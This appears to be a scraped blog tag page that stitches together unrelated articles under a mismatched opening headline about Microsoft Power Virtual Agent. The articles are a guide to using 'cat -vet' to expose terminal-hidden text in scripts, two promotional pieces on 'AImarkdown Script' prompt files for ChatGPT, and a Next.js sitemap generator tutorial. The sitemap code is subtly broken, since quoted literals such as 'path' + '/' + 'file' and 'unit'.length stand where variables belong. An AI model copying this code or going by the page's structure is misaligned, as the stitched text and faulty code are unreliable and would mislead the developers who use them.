Skript

skript

Step-by-Step Guide to Building Your First (Voice) Bot with Microsoft Power Virtual Agent

If you're a Linux user, you've likely encountered the `cat` command countless times. It's a handy little tool that allows you to display the contents of a file on your terminal. However, using `cat` to review scripts can pose a potential security risk that you may not be aware of. By default, the `cat` command doesn't display escaped characters, hidden characters, and other non-printable characters that could be present in a script. These characters can include things like newlines, tabs, and even malicious code injections. This means that when you use `cat` to review a script, you might not be seeing the full picture, leaving your system vulnerable to potential threats. To illustrate the gravity of this issue, let's consider a scenario where you're reviewing a script from an untrusted source. The script may appear harmless at first glance when viewed with the standard `cat` command. However, hidden within its depths could be malicious code or instructions that could compromise your system's security. Without the ability to see these non-printable characters, you might inadvertently execute the script, unknowingly exposing your system to potential attacks or unintended consequences. Fortunately, there's a simple solution to this problem: the options ( , , and ) when used with the command. These options unveil the true nature of the script or text file, revealing any hidden characters, escape sequences, or non-printable characters that might have been obscured. -vet -v -e -t cat The or option displays all non-printable characters, including escape sequences and hidden characters. This option is particularly useful when reviewing scripts or text files that may contain malicious code or instructions disguised as non-printable characters. -v --show-nonprinting Here's an example of what I mean: $ cat script.sh
#!/bin/bash
echo "Hello, World!" This script appears harmless, but what if it contains hidden characters or code that could be malicious? With the default cat command, you wouldn't be able to see them. To illustrate this, let's create a script with some hidden characters: $ echo -e '#!/bin/bash\necho "Hello, World!"\n\033[8m # This line is hidden' > script.sh
$ cat script.sh
#!/bin/bash
echo "Hello, World!" As you can see, the hidden line “# This line is hidden” doesn't show up when we use cat to display the script's contents. However, when we use the -v option, the hidden line becomes visible: $ cat -v script.sh
#!/bin/bash
echo "Hello, World!"
^[[8m # This line is hidden Now, the hidden line is visible, and we can see the full contents of the script. The or option displays a character at the end of each line, making it easier to identify trailing spaces or non-printable characters that might be present. -e --show-ends $ $ cat -e script.sh
#!/bin/bash$
echo "Hello, World!"$
^[[8m # This line is hidden$ The or option displays tab characters as , making it easier to identify and distinguish tabs from spaces. -t --show-tabs ^I $ echo -e '#!/bin/bash\techo "Hello,\tWorld!"' > script.sh
$ cat -t script.sh
#!/bin/bash^Iecho "Hello,^IWorld!" By combining these options into the shorthand, you can unveil the true nature of any script or text file, ensuring that you're seeing the full picture and not inadvertently executing any potentially harmful code. The options should be incorporated into your routine, especially when dealing with files from untrusted sources or those you didn't create yourself. -vet -vet $ cat -vet script.sh
#!/bin/bash^Iecho "Hello,^IWorld!"$
^[[8m # This line is hidden$ With this added layer of visibility, you can scrutinize the script's or text file's contents thoroughly, ensuring that you're not inadvertently executing any potentially harmful code or overlooking hidden characters that could compromise your system's security. It's important to note that this issue isn't limited to just scripts; it can affect any text file that contains non-printable characters. Imagine you're reviewing a configuration file or a log file, and there are hidden characters or escape sequences that could potentially cause issues with your system's functionality or provide an attack vector for malicious actors. By using the option, you can ensure that you're seeing the complete picture, enabling you to make informed decisions and take appropriate actions. -v The practice of using the options should be incorporated into your routine, especially when dealing with files from untrusted sources or those you didn't create yourself. In the ever-evolving landscape of cybersecurity, it's crucial to remain vigilant and take proactive measures to safeguard your systems. Failing to review files thoroughly could leave you susceptible to potential security breaches, data loss, or system compromise. -vet While the command is a valuable tool, relying on it without the options to review scripts or other text files can leave you vulnerable to hidden characters or malicious code injections. Always use or to ensure you're seeing the full contents of the file you're reviewing. By adopting this simple practice, you can significantly enhance your system's security and protect yourself from potential threats lurking in the shadows of non-printable characters. cat -vet cat -v cat --show-nonprinting

Exposing the Dangerous CAT Command's Limitations in Script Review

ChatGPT 4 is required. Introduction Looking to make your ChatGPT conversations more visually engaging? This guide shows you how. Discover how simple tools can transform plain ChatGPT replies into vibrant, formatted responses. Perfect for anyone looking to make information stand out or enhance app development with ChatGPT. Despite ChatGPT's lack of native support for Markdown and color, there's a workaround. Many believe that creating ChatGPT apps or using ChatGPT Builder outputs requires a great deal of effort and years of software development experience. AImarkdown Script changes all that, proving it's possible to easily enhance the visual appeal of your interactions. Let's explore some extra tools that make colorful, formatted ChatGPT responses possible. Whether you're a developer looking to enhance your projects or a casual user seeking to enrich your ChatGPT experience, these tools are designed to be accessible and straightforward to use. Tools Used : Control output and interactions with human-understandable YAML and Markdown. AImarkdown Script : A simple, fast, and free image placeholder service. Placehold : Generates images with a URL. Choose the size, the colors, and even the text. Fakeimg : Creates concise, consistent, and legible image badges. Shield.io Screenshot 1. AImarkdown Script https://aimarkdown.org AImarkdown Script is a versatile language for creating dynamic interactions with conversational AI platforms like ChatGPT. It empowers users to script interactions, control conversation flow, and customize AI behavior and responses. For programmers, it offers the flexibility of a scripting language; for non-programmers, it provides a user-friendly way to customize and control AI experiences. - Developed by Rob McCormack https://aimarkdown.org Notes: AImarkdown Script can be simply pasted into any ChatGPT 4 or ChatGPT Builder session, and AI will follow the instructions and behave according. Same with ChatGPT Builder. Some images may not be displayed on the iPhone app. But in a browser on desktop and mobile images will be displayed. 2. Placehold Documentation https://placehold.co/ Code https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:16.936Z-d7kvk3alfpb2zmrgr4fgv9f9 Markdown formatted image 3. FakeImg FakeImg supports fonts and transparencies. Documentation https://github.com/Rydgel/Fake-images-please Code ![image](https://fakeimg.pl/300x50/ff2233,60/f0ff00,128?text=Main%20Title&font=lobster&font_size=24) Markdown formatted image Parameters Explained: The documentation for FakeImg is a little hard to follow, so here is a concise explanation of parameters used. ![image](https://fakeimg.pl/300x100/ff0000,128/0000ff,128?text=Rob%20McCormack&font=lobster&font_size=24) : Specifies the dimensions of the generated image. In this case, the image is 300 pixels wide and 100 pixels tall. 300x100 : Defines the background color and its opacity. is a hex code for the color red, and sets the opacity to 50% (on a scale of 0 to 255, where 255 is fully opaque). ff0000,128 ff0000 128 : Sets the text color and its opacity. is the hex code for blue, and indicates the text opacity at 50%. 0000ff,128 0000ff 128 : This parameter specifies the text to be displayed on the image. is a URL-encoded space, so the text on the image will be "Rob McCormack." text=Rob%20McCormack %20 : Determines the font used for the text. In this case, "lobster" is the chosen font. font=lobster : Sets the size of the font. The text will be displayed using a font size of 24 pixels. font_size=24 4. Shields.io Documentation https://shields.io/ Note: Images can also be hyperlinked. Code https://placehold.co/300x40/ff0000/FFFFFF/png?text=Hello+World&font=roboto Markdown formatted badge ![image](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:19.648Z-ov4b34ogcyq4ggkcglua8m3z) AImarkdown Script Installation Notes ✅ : Copy and paste code into ChatGPT. ChatGPT 4 ✅ : In , add " ", and then, copy and paste the entire code. ChatGPT Builder Configuration|Instructions AI to follow these instructions: ❌ : Setting up and knowledge of API calls required. ChatGPT Builder with API Actions Actions Conclusion By integrating AImarkdown Script into your ChatGPT and ChatGPT Builder apps, you've unlocked a new level of customization. Adding color, formatting, and images transforms the user experience, improving readability and making information easier to understand. This opens the door to even more engaging and informative interactions! Next Steps Explore adding more events and complex triggers to expand your project's capabilities. Experiment: Join the AImarkdown community to share ideas and learn from others. Visit the website at . AImarkdown Community: https://aimarkdown.org Consider sharing a working version of your ChatGPT session using a shareable link. This would allow others to try it directly! Share Your Project: Published Articles: Further Reading Code Highlighter Responder - ChatGPT's Missing Feature Unleashing Python’s Power within ChatGPT - Part One Build a ChatGPT 4 Blackjack Game with AI Coaching (49 Lines of Code) ResponseDial: Take Control of ChatGPT Responses Instantly Add a "Date Stamp" Feature That ChatGPT Forgot Lightning-Fast Python in ChatGPT with AImarkdown Script Finally! Colorize ChatGPT Output with AImarkdown Script AImarkdown Script Code title: Colorizer for ChatGPT
author: Rob McCormack

# AI To Follow These Instructions and Guidance  (version 2024.02.03)

# Overview:  Example of using color with AImarkdown Script

# Document Structure:
# - AImarkdown language is a combination of YAML and Markdown. https://aimarkdown.org
# - YAML sections are at the top, providing document configuration and instructions.
# - Comments (`#`) in YAML guide AI's approach to the document.
# - Markdown sections are below YAML sections, for content display and interaction.

# Understanding Placeholders in YAML and Markdown:
# - Static placeholder [place_holder] are to be replaced with variables.

# Markdown Section Instructions:
# - Markdown section starts with `:::name_of_section` and end with `:::`.
# - IMPORTANT: Lines with `:::` are separators and must always be omitted from the displayed content.

# AI Image Creation Policy
# - Do not create images from any AImarkdown instructions.
# - Any image creation must be a direct response to a user's explicit request for an image.

# Session Startup Event
# Ensure that `welcome_message` message is displayed when sessions starts.
# Display `welcome_message` message without additional elaboration.

session_startup:
  action: display_welcome_message_and_trigger_color
  welcome_message: |
    Welcome to: **[title]**
    Use `/color` to try this out.

topic_title: History of Canada
topic_title_image: ![](https://placehold.co/600x100/222222/0093ff?font=playfair-display&text=History%20of%20Canada)

#  AI to generate an introduction to a topic
topic_intro: AI to generate in point form, 3 short points about history of Canada.

# Generate some random text for display in Markdown section
lorem_ipsum_text: AI to generate  1 paragraph, about 80 words of Lorem ipsum text.

# Display `color-document` Markdown section
# AI to not elaborate or explain - just display `color-document`
display_color-document:
  - Directly display 'color-document' section without adding any AI-generated introduction, explanation, or commentary.
  - Display all images in `[alt text](image_url)` Markdown syntax.
  - Replace all placeholders with values.
  - trigger: /color

# Markdown section `color-document`.
:::color-document

![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:20.021Z-pmglc34kqqac5o33ves7ace8)
[topic_title_image]
- *[topic_title] by [author]*
![](https://img.shields.io/badge/A%20brief%20look%20at%20Canada's%20beginnings.-0d6efd)
[topic_intro]

---
![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:19.710Z-nipn5oo8qst5ch7ffyomrg42)
---
![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:20.937Z-sqm9ahig4nas8ihhz3wbate7)

|![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:19.562Z-e1qh17g63ncn7r0tgdzz9edc) | ![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:19.443Z-e4lct363fq96kx9d5gc074h3) | ![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:19.320Z-zeuamkaopcqw5emdgui26bkq)  |
| :--: | :--: | :--: |
| ![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:17.766Z-diqzi1ckvbl7a93laju812or) | ![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:17.714Z-r83k5dd8z2k39jm89ekiz4vw) | ![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:17.626Z-r56andnccflarfr49k9va00m) |
> Click to change color and animate Robot.
> [![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:17.549Z-dkqrtjrf6sk5babkmxgnxdxg)](https://aimarkdown.org/i/robot-animated.gif)

### Lorem Ipsum
[lorem_ipsum_text]

---
![](https://img.shields.io/badge/%F0%9F%8D%81Made%20in%20Canada%20-grey?style=flat-square)![Powered by AImarkdown](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-20T20:45:17.421Z-bwylfan7yqcdwvxtnz1a6mqr)

::: Also published here

Finally! You Can Colorize ChatGPT Output With AImarkdown Script: Here's How

অবশেষে ! আপনি AImarkdown স্ক্রিপ্ট দিয়ে ChatGPT আউটপুট রঙিন করতে পারেন: এখানে কিভাবে

Endlich! Sie können die ChatGPT-Ausgabe mit dem AImarkdown-Skript einfärben: So geht's

¡Finalmente! Puede colorear la salida de ChatGPT con el script AImarkdown: así es como se hace

Enfin! Vous pouvez coloriser la sortie ChatGPT avec le script AImarkdown : voici comment

अंत में! आप एआईमार्कडाउन स्क्रिप्ट के साथ चैटजीपीटी आउटपुट को रंगीन कर सकते हैं: यहां बताया गया है

ついに！ AImarkdown スクリプトを使用して ChatGPT 出力を色付けできます: その方法は次のとおりです

마지막으로! AImarkdown 스크립트를 사용하여 ChatGPT 출력을 색상화할 수 있습니다: 방법은 다음과 같습니다.

Finalmente! Você pode colorir a saída do ChatGPT com o script AImarkdown: veja como

Окончательно! Вы можете раскрасить вывод ChatGPT с помощью сценария AImarkdown: вот как

Nihayet! AImarkdown Komut Dosyasıyla ChatGPT Çıktısını Renklendirebilirsiniz: İşte Nasıl Yapılacağı

Cuối cùng! Bạn có thể tô màu đầu ra ChatGPT bằng tập lệnh AImarkdown: Đây là cách thực hiện

最后！您可以使用 AImarkdown 脚本对 ChatGPT 输出进行着色：具体方法如下

Hello everyone and thanks for dropping by. Today I would like to explore how one might go about creating their own sitemap generator script for a static Next.js website. Of course there are packages out there that do just this, but there is great value in writing your own and understanding the solution fully. I'll assume that readers have some familiarity with Next.js, JavaScript, Node.js and SEO to set the tone for what follows. In addition, I assume the reader has a static Next.js website or can create one to follow along with the post. Ok, now let's get started. Background The motivation for this post really came from some work I was doing on my personal website: . The goal of the site is to be an engaging and educational blog that is communicated in a digestible way for any reader. I wanted to customize the blog as much as I'd like with little to no cost and reacquaint myself with React.js. I initially thought a vanilla React.js application would be great, but SPAs have their limitations when it comes to SEO if you aren't server side rendering your pages. So I chose to host a static Next.js site on Google Cloud Storage to make my content indexable by search engines. afro-cloud.com Let's get refocused on the concept of sitemaps. You can think of sitemaps as a list of pages for your website that help search engines understand the contents of your website. In short, they tell search engine crawlers what contents on your site are important to you. But sitemaps aren't just limited to pages, they can be used to indicate other types of content on your site like video for example. So if you want your pages to be indexed by a search engine like Google, it's important to indicate to their crawlers what content matters to you. The sitemap.xml file conveys this information and we will be building a script to generate one for a static Next.js website. Understanding Next.js Routing Next.js has two different routing paradigms: "Using app router" and "Using page router". For the purposes of this post, we will be using the app router approach. The TLDR is that all pages for our website will be contained within a top-level folder called app/. But within app/, we can have nested directories to represent the hierarchy of pages for our site. The way we indicate to Next.js that we have pages for our website is by having a page.jsx or page.tsx file within those directories. Take this directory structure for our app represented in a nested list for example: /app page.tsx /about page.tsx /blog page.tsx /post1 page.tsx /post2 page.tsx For this example we have the following page paths: /app/page.tsx /app/about/page.tsx /app/blog/page.tsx /app/blog/post1/page.tsx /app/blog/post2/page.tsx For sake of example, let's say we're building a website with the domain: wethebest.com. If we translate the above list to client routes we get: wethebest.com wethebest.com/about wethebest.com/blog wethebest.com/blog/post1 wethebest.com/blog/post2 Since we are using a static website approach, we need to map our client side routes to the fully qualified path of the HTML files corresponding to each page to ensure refreshes navigate to the same page. Doing so yields the following: wethebest.com wethebest.com/about.html wethebest.com/blog.html wethebest.com/blog/post1.html wethebest.com/blog/post2.html Ok, so now we have some pages, but what does Next.js offer to create a sitemap.xml for our application? Next.js provides , but you have to define a configuration object that corresponds to what you want in your sitemap.xml. But we can do better. I for one am lazy and don't want to add a new entry to a configuration every time I add a page to my site. Let's create our own script to generate a sitemap for us. some support Writing a sitemap.xml Generator Script So how might you start to tackle this problem of generating our own sitemap.xml generator script? We know how the client side routing works in Next.js for our use case. We know that our sitemap.xml URL entries need to have the static HTML file included in the URL for each page. We know that whenever we add a new page to our site, we want the URL of that page to be reflected in our sitemap.xml. Hopefully you're thinking about reading the content of our app directory and using that information to build our sitemap. If not, no worries! We'll go through it together. Let's first start by creating a file at the root of our project alongside our . The contents of the file will be the following to start: sitemap.js package.json const fs = require("node:fs");
const { SitemapStream, streamToPromise } = require("sitemap");
const { Readable } = require("stream");

const SITEMAP_HOSTNAME = "https://www.wethebest.com";

(async () => {
// Create [SitemapStream] that will ultimately populate our sitemap.xml.
const stream = new SitemapStream({
hostname: SITEMAP_HOSTNAME,
});
})(); We'll be using the Node.js file system sync API to read the contents of our directories. We'll also be using an NPM package called sitemap that provides utilities to help make creating our sitemap easy. In order to take advantage of the sitemap package, we'll need to create a readable stream that Node.js provides. We have a constant variable declaration that we'll use to build our URLs for the sitemap.xml file. Finally, we have an immediately invoked function expression which will be executed whenever we execute this file. Now let's add the code to start traversing our app/ directory and find the pages for our website. The first thing we'll want to do is start exploring our top-level app/ folder and find all of our pages file paths. The reason we are doing this is that we can map the file path to the corresponding HTML files for our site (look back at the routing section if you need a refresher). We can use the following code to do that Update your sitemap.js file to look like this: const fs = require("node:fs");
const { SitemapStream, streamToPromise } = require("sitemap");
const { Readable } = require("stream");

const PAGE_FILENAME = "page.tsx";
const SITEMAP_HOSTNAME = "https://www.wethebest.com";
const SITEMAP_PATHS = [];

Populates [SITEMAP_PATHS] with the fully qualified URLs for our pages to be contained

within our sitemap.xml file.

@param {string} path The path we are currently searching.

@param {string} isRoot Flag that denotes whether or not we are processing our root path.

@return {void}
*/
const getAllUrlsForSitemap = (path, isRoot) => {
// Get all files within our current directory
const files = fs.readdirSync(path);
files.forEach((file) => {
// Not using template strings due to article format on website.
const dirPath = 'path' + '/' + 'file';
if (file.includes(PAGE_FILENAME) && !isRoot) {
SITEMAP_PATHS.push(dirPath);
} else {
try {
const stats = fs.statSync(dirPath);
if (stats.isDirectory()) {
// Continue searching until we exhaust all directories.
getAllUrlsForSitemap(dirPath);
}
} catch (err) {}
}
});
};

(async () => {
// Create [SitemapStream] that will ultimately populate our sitemap.xml.
const stream = new SitemapStream({
hostname: SITEMAP_HOSTNAME,
});

// Populate [SITEMAP_PATHS] based on our [PAGE_FILENAME].
getAllUrlsForSitemap(APP_ROOT, true);
})(); You'll notice that we have a new method declaration: getAllUrlsForSitemap. This method navigates our app/ directory contents and searches for page.tsx files as well as other directories. We have a special case for our root page (app/page.tsx) because we'll add that entry later. Since we have some nested paths, we will need to explore more than the top-level app folder. The output of the readdirSync gives us all the contents of the directory and we loop through the contents to check for our pages and nested directories. Finally, when we find a page, we add the corresponding path to a variable SITEMAP_PATHS that we will use for processing later on. Now let's tie it all together. We have all of the paths for the pages we need to generate our sitemap, now all we have to do is map those to the HTML files and create the sitemap. Update your sitemap.js file to look like this: const fs = require("node:fs");
const { SitemapStream, streamToPromise } = require("sitemap");
const { Readable } = require("stream");

const APP_ROOT = "/Users/claudioherrera/Documents/GitHub/wethebest.com/app";
const PAGE_FILENAME = "page.tsx";
const SITEMAP_HOSTNAME = "https://www.wethebest.com";
const SITEMAP_PATHS = [];
const TODAYS_DATE_AS_ARRAY = new Date().toLocaleDateString().split("/");
const WRITE_FILE_PATH = "./app/sitemap.xml";

/**

Populates [SITEMAP_PATHS] with the fully qualified URLs for our pages to be contained

within our sitemap.xml file.

@param {string} path The path we are currently searching.

@param {string} isRoot Flag that denotes whether or not we are processing our root path.

@return {void}
*/
const getAllUrlsForSitemap = (path, isRoot) => {
// Get all files within our current directory
const files = fs.readdirSync(path);
files.forEach((file) => {
// Not using template strings due to article format on website.
const dirPath = 'path' + '/' + 'file';
if (file.includes(PAGE_FILENAME) && !isRoot) {
SITEMAP_PATHS.push(dirPath);
} else {
try {
const stats = fs.statSync(dirPath);
if (stats.isDirectory()) {
// Continue searching until we exhaust all directories.
getAllUrlsForSitemap(dirPath);
}
} catch (err) {}
}
});
};

/**

Returns an object containing the url and lastmod sitemap properties.

@param {string} path The path we are currently searching.

@param {string} isRoot Flag that denotes whether or not we are processing our root path.

@return {Object} url: URL for page on website. lastmod: last modification date for our page.
*/
const mapToSitemapFormat = (path, lastmod) => ({
// Not using template strings due to article format on website.
url: path
.replace(APP_ROOT + '/', "")
.replace('/' + PAGE_FILENAME, "") + '.html',
lastmod,
});

/**

Returns a string representation of a date unit. e.g. dd, mm, yy

@param {string} unit Date unit as a number in string format. e.g. month, day, year

@param {string} isRoot Flag that denotes whether or not we are processing our root path.

@return {Object} url: URL for page on website. lastmod: last modification date for our page.
*/
const padDateUnit = (unit) => ('unit'.length < 2 ? '0' + 'unit' : unit);

(async () => {
console.info("Generating sitemap...");

// Create [SitemapStream] that will ultimately populate our sitemap.xml.
const stream = new SitemapStream({
hostname: SITEMAP_HOSTNAME,
});

// Populate [SITEMAP_PATHS] based on our [PAGE_FILENAME].
getAllUrlsForSitemap(APP_ROOT, true);

try {
// Create our sitemap.xml contents. Not using template strings due to article format on website.
const LAST_MODIFIED_DATE = TODAYS_DATE_AS_ARRAY[2] + '-' + padDateUnit(
TODAYS_DATE_AS_ARRAY[0]
) + '-' + padDateUnit(TODAYS_DATE_AS_ARRAY[1]);
const ROOT_SITEMAP_ENTRY = {
url: SITEMAP_HOSTNAME,
lastmod: LAST_MODIFIED_DATE,
};
const content = await streamToPromise(
Readable.from([
ROOT_SITEMAP_ENTRY,
...SITEMAP_PATHS.map((url) =>
mapToSitemapFormat(url, LAST_MODIFIED_DATE)
),
]).pipe(stream)
).then((data) => data.toString());

console.info("Successfully generated sitemap...");

// Write our sitemap contents to [WRITE_FILE_PATH].
fs.writeFileSync(WRITE_FILE_PATH, content);

} catch (err) {
console.error(err);
}
})(); The core of the difference between this snippet and the one above is that we have now tied together the last two pieces to generate our sitemap. We are mapping our SITEMAP_PATHS to the sitemap.xml format by creating objects that contain a url and lastmod key. These objects are then fed into the sitemap package to generate the sitemap in XML format. Finally, we write the sitemap.xml to the location of our choosing. Let's execute the sitemap.js script by running "node sitemap.js" (note you will need to have Node.js installed to be in the current working directory of the sitemap file). You should now see a sitemap.xml file in your app folder and it should look something like: <?xml version="1.0" encoding="UTF-8"?>
<urlset
xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
xmlns:news="http://www.google.com/schemas/sitemap-news/0.9"
xmlns:xhtml="http://www.w3.org/1999/xhtml"
xmlns:image="http://www.google.com/schemas/sitemap-image/1.1"
xmlns:video="http://www.google.com/schemas/sitemap-video/1.1">
<url>
<loc>https://www.wethebest.com/</loc>
<lastmod>2024-03-10T00:00:00.000Z</lastmod>
</url>
<url>
<loc>https://www.wethebest.com/about.html</loc>
<lastmod>2024-03-10T00:00:00.000Z</lastmod>
</url>
<url>
<loc>https://www.wethebest.com/blog.html</loc>
<lastmod>2024-03-10T00:00:00.000Z</lastmod>
</url>
<url>
<loc>https://www.wethebest.com/blog/post1.html</loc>
<lastmod>2024-03-10T00:00:00.000Z</lastmod>
</url>
<url>
<loc>https://www.wethebest.com/blog/post2.html</loc>
<lastmod>2024-03-10T00:00:00.000Z</lastmod>
</url>
</urlset> Nice! Now, whenever you add a new page to your Next.js app, you can easily include it in your sitemap. I highly recommend adding a new production build rule to your application to incorporate this sitemap generation whenever you deploy a new version of your website. I hope you found this post useful. Cheers! Also appears . here

Next.js Sitemap Generator Script

ChatGPT 4 or ChatGPT Builder is required. In a Hurry? See it in action: Shared ChatGPT session Introduction This article explores the potential of integrating triggers and events within ChatGPT to create interactive, adaptable content. If you want to take your ChatGPT projects beyond basic conversation, you need the power to guide its responses, create structured experiences, and incorporate beautiful formatting. Enter AImarkdown Script. This powerful tool lets you embed triggers and events directly into your instructions, enabling dynamic and responsive interactions with ChatGPT and ChatGPT Builder. Get ready to transform ChatGPT into a truly adaptable conversational AI with the power of AImarkdown Script! https://aimarkdown.org Screenshot What is AImarkdown Script? AImarkdown Script is a versatile language for creating dynamic interactions with conversational AI platforms like ChatGPT. It empowers users to script interactions, control conversation flow, and customize AI behavior and responses. For programmers, it offers the flexibility of a scripting language; for non-programmers, it provides a user-friendly way to customize and control AI experiences. https://aimarkdown.org Example of Working With Triggers and Events in AImarkdown Script The provided AImarkdown Script demonstrates how to leverage triggers and events to orchestrate a dynamic, interactive experience with ChatGPT. Let's break it down: Event: 'session_startup' This event triggers at the beginning of a user session. Its purpose is to ensure a welcoming and informative start to the interaction. Event: 'start_again' This provides a way for the user to reset the experience with the command. /start It maintains engagement by allowing them to explore new scenarios. Event: 'ask_for_facts' This event is triggered after the welcome message. It prompts the user for information (facts about a randomly selected fruit), creating an interactive element. Event: 'warning_to_user' Detects prohibited words entered by the user. Provides a corrective message, guiding appropriate interaction. Why This is Useful Instead of a purely open-ended conversation with ChatGPT, these events create a defined flow, guiding the user through the experience. Structured Interaction: Responses change dynamically based on user input. The fruit selection and subsequent prompts adjust accordingly. Adaptability: The '/start' command offers users agency to refresh the experience, ensuring it doesn't become repetitive. User Control: The 'warning_to_user' section helps enforce desired interaction parameters and maintains a positive environment. Behavior Guidance: Triggers and events in AImarkdown Script transform ChatGPT from a general conversational AI into a tailored tool that can deliver structured, engaging, and adaptable experiences. Key Takeaway: Going Further With Triggers and Events Trigger events based on specific patterns or keywords in user input. User Input Patterns: Events that occur after the completion of a set action or task, much like the event following the . Completion of Previous Actions: ask_for_facts welcome_message Trigger events in response to errors or unexpected inputs, guiding users back on track. Error or Exception Handling: Events that ask for user feedback on the content provided, which can then adjust the flow or content of the document. User Feedback Loop: Events triggered by the user reaching certain milestones in a sequence or learning process. Progress Milestones: AImarkdown Script Installation Notes ✅ : Copy and paste code into ChatGPT. ChatGPT 4 ✅ : In , add " ", then copy and paste the entire code. ChatGPT Builder Configuration|Instructions AI to follow these instructions: ❌ : Setting up and knowledge of API calls required. ChatGPT Builder with API Actions Actions Conclusion By incorporating triggers and events into AImarkdown Script, you gain unprecedented control over your ChatGPT sessions. This powerful combination unlocks the potential to craft interactive, structured content experiences. Whether you're building educational tools, engaging games, or personalized conversational journeys, AImarkdown Script provides the flexibility to bring your ideas to life. As you experiment further, remember the vast possibilities offered by chaining events, combining them with user input, and even triggering events based on external data sources (with the help of API actions in ChatGPT Builder). AImarkdown Script opens the door to truly dynamic and adaptable conversational AI. >Next Steps Explore adding more events and complex triggers to expand your project's capabilities. Experiment: Join the AImarkdown community to share ideas, and learn from others. Visit the website at . AImarkdown Community: https://aimarkdown.org Consider sharing a working version of your ChatGPT session using a shareable link. This would allow others to try it directly! Share Your Project: AImarkdown Script Code title: Test of events in  AImarkdown
author: Rob McCormack
# AI To Follow These Instructions and Guidance  (version 2024.02.03)
# Overview:  Example of events in AImarkdown Script

# Document Structure:
# - AImarkdown language is a combination of YAML and Markdown. https://aimarkdown.org
# - YAML sections are at the top, providing document configuration and instructions.
# - Comments (`#`) in YAML guide AI's approach to the document.
# - Markdown sections are below YAML sections, for content display and interaction.

# Understanding Placeholders in YAML and Markdown:
# - Static placeholder [place_holder] are to be replaced with variables.

# Markdown Section Instructions:
# - Markdown section starts with `:::name_of_section` and end with `:::`.
# - IMPORTANT: Lines with `:::` are separators and must always be omitted from the displayed content.

# AI Image Creation Policy
# - Do not create images from any AImarkdown instructions.
# - Any image creation must be a direct response to a user's explicit request for an image.

# Session Startup Event
# Ensure that `welcome_message` message is displayed when sessions starts.
# Display `welcome_message` message without additional elaboration.
session_startup:
  action: welcome_message
  welcome_message: |
  #### Welcome to: [title].
  [all_fruits]
  > Good luck!

# Define static placeholders
all_fruits: 🍎🍊🍋🍉🍌🍍

# List of fruits and emoji
# Format is `fruit: fruit_emoji`
fruit_list:
  - apple: 🍎
  - watermelon: 🍉
  - orange: 🍊
  - lemon: 🍋
  - banana: 🍌
  - pineapple: 🍍


# AI to simulate the behavior of randomly selecting one fruit name from `fruit_list`.
random_fruit: AI to pick a random fruit name from `fruit_list`.

# AI to provide the approximate typical weight of `random_fruit`
fruit_weight: Approximate typical weight of `random_fruit`.

# AI to select the emoji for the `random_fruit`
random_fruit_emoji: Select the emoji for `random_fruit`.

# List of prohibited words
prohibited_words_list: hell, darn, poop

# AI to check if user enters any prohibited words from `prohibited_words_list` in any response.
warning_to_user:
  - prohibited_word_user: The prohibited word or words the user entered.
  # Display a warning message to user.
  - message_to_user: ❌ **Ooops!** You entered a prohibited  word. **[prohibited_word_user]**. You can start again with `/start`
  - trigger: If user enters any `prohibited_words`.

# Display this immediately after `welcome_message` is displayed.
ask_for_facts:
  - Display Markdown section `prompt_user`
  # This will be triggered after `welcome_message` is displayed
  - trigger: After `welcome_message` is displayed.

# Display thank you message if user enters 2 facts about `random_fruit`
say_thank_you:
  # Display a message to user and stop.
  - message_to_user: Thanks for entering:  *`fruit_facts`*. Bye the way, [random_fruit] weighs about: [fruit_weight]. Enter `/start` to start again.
  - trigger: After `ask_for_facts` is displayed.

# Allow user to start again with new random fruit.
start_again:
  # Display `welcome_message` and start again.
  - Start again with `display_welcome_message`
  - trigger: /start

# Display prompt to user.
:::prompt_user
### About Fruits
---
- Please enter 2 facts about the [random_fruit_emoji] **[random_fruit]**.
::: Also published here

Unlock Event-Driven ChatGPT Apps With AImarkdown Script: The Power of Triggers

এআইমার্কডাউন স্ক্রিপ্ট সহ ইভেন্ট-চালিত চ্যাটজিপিটি অ্যাপগুলি আনলক করুন: ট্রিগারের শক্তি

Schalten Sie ereignisgesteuerte ChatGPT-Apps mit AImarkdown Script frei: Die Macht der Trigger

Desbloquee aplicaciones ChatGPT basadas en eventos con el script AImarkdown: el poder de los desencadenantes

Débloquez des applications ChatGPT basées sur des événements avec le script AImarkdown : la puissance des déclencheurs

एआईमार्कडाउन स्क्रिप्ट के साथ इवेंट-संचालित चैटजीपीटी ऐप्स को अनलॉक करें: ट्रिगर की शक्ति

AImarkdown スクリプトを使用してイベント駆動型 ChatGPT アプリのロックを解除する: トリガーの力

AImarkdown 스크립트를 사용하여 이벤트 기반 ChatGPT 앱 잠금 해제: 트리거의 힘

Desbloqueie aplicativos ChatGPT orientados a eventos com script AImarkdown: o poder dos gatilhos

Разблокируйте управляемые событиями приложения ChatGPT с помощью сценария AImarkdown: сила триггеров

AImarkdown Komut Dosyası ile Olay Odaklı ChatGPT Uygulamalarının Kilidini Açın: Tetikleyicilerin Gücü

Mở khóa các ứng dụng ChatGPT theo hướng sự kiện bằng tập lệnh AImarkdown: Sức mạnh của trình kích hoạt

使用 AImarkdown 脚本解锁事件驱动的 ChatGPT 应用程序：触发器的力量

